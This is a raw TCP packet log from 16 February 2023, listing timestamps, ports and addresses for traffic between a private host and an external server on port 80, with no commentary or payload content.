Feb 16, 2023 11:49:20.774032116 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.774043083 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.774055958 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.774069071 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.774080992 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.774094105 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.774097919 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.774120092 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.774146080 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.774169922 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.774180889 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.774197102 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.774207115 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.774221897 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.774235964 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.774252892 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.774279118 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.774287939 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.774303913 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.774313927 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.774329901 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.774337053 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.774354935 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.774360895 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.774385929 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.774410009 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.774434090 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.774445057 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.774470091 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.779532909 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.779572964 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.779645920 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.779711962 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.935223103 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.935309887 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.935322046 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.935372114 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.935375929 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.935422897 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.935436010 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.935470104 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.935473919 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.935516119 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.935518026 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.935631990 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.935633898 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.935679913 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.935704947 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.935724020 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.935726881 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.935775042 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.935825109 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.935841084 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.935894012 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.935908079 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.935940027 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.935947895 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.935995102 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.936000109 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.936042070 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.936048031 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.936090946 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.936105013 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.936151981 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.936192989 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.936192989 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.936208963 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.936258078 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.936289072 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.936301947 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.936312914 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.936358929 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.936359882 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.936400890 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.936417103 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.936461926 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.936510086 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.936522007 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.936522007 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.936553001 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.936570883 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.936615944 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.936619043 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.936661959 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.936692953 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.936741114 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.936748981 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.936798096 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.936803102 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.936847925 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.936850071 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.936894894 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.936902046 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.936943054 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.936949968 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.937000036 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.937007904 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.937053919 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.937057972 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.937103987 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.937105894 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.937148094 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.937153101 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.937212944 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.937211990 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.937261105 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.937283993 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.937340021 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.937350988 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.937397003 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.937405109 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.937442064 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.937459946 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.937506914 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.937514067 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.937568903 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.937572002 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.937614918 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.937624931 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.937664032 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.937670946 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.937725067 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.937725067 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.937772036 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.937777996 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.937827110 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.937836885 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.937882900 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.937903881 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.937957048 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.937968969 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.938019991 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.938038111 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.938092947 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.938093901 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.938169003 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.938180923 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.938232899 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.938287020 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.938334942 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.938386917 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.938435078 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.938446999 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.938482046 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.938534021 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.938539028 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.938587904 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.938640118 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.938651085 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.938730001 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.938790083 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.938837051 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.938843966 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.938896894 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.938905001 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.938952923 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.939004898 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.939016104 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.939081907 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.939131021 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.939146996 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.939194918 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.939254045 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.939255953 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.939302921 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.939356089 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.939364910 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.939421892 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.939466953 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.939481020 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.939523935 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.939574957 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.939579010 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.939627886 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.939687014 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.939687967 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.939735889 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.939783096 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.939790010 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.939836025 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.939882994 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.939889908 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.939937115 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.939987898 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.939994097 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.940051079 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.940100908 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.940104961 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.940161943 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.940207958 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.940208912 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.940256119 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.940308094 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.940308094 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.940363884 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.940422058 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.940474033 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.940531015 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.940582037 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.940583944 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.940582037 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.940635920 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.940648079 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.940709114 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.940761089 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.940762043 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.940813065 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.940860987 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.940907001 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.940953016 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.941010952 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.941039085 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.941040039 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.941056967 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.941065073 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.941113949 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.941162109 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.941168070 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.941221952 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.941224098 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.941278934 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.941322088 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.941323042 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.941339970 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.941395044 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.941411972 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.941474915 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.941479921 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.941528082 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.941534996 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.941576958 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.941581011 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.941627026 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.941627979 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.941672087 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.941679001 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.941729069 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.941735983 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.941787958 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.941788912 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.941833973 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.941836119 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.941879988 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.941890001 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.941936970 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.941948891 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.941993952 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.942009926 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.942061901 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.942075968 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.942126036 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.942146063 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.942193985 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.942215919 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.942286968 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.942322016 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.942337036 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.942342043 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.942388058 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.942401886 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.942450047 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.942461014 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.942508936 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.942523956 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.942559004 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.942560911 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.942610025 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.942610979 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.942658901 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:20.942671061 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:20.942719936 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.045412064 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.049524069 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.103570938 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.103621960 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.103686094 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.103719950 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.103753090 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.103787899 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.103785038 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.103785038 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.103827000 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.103862047 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.103863955 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.103862047 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.103888035 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.103905916 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.103912115 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.103960991 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.103962898 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.104010105 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.104010105 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.104049921 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.104058027 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.104084015 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.104095936 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.104118109 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.104140043 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.104151011 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.104159117 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.104195118 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.104199886 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.104245901 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.104249954 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.104290962 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.104301929 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.104327917 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.104350090 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.104362965 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.104368925 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.104396105 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.104410887 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.104432106 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.104451895 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.104468107 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.104490995 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.104513884 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.104516029 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.104566097 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.104566097 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.104604006 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.104614973 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.104635954 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.104655027 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.104669094 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.104679108 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.104701042 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.104717970 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.104748011 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.104749918 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.104799986 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.104800940 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.104840994 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.104852915 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.104875088 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.104882956 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.104907036 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.104932070 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:21.104938984 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:21.104959965 CET	49700	80	192.168.2.3	23.106.124.133
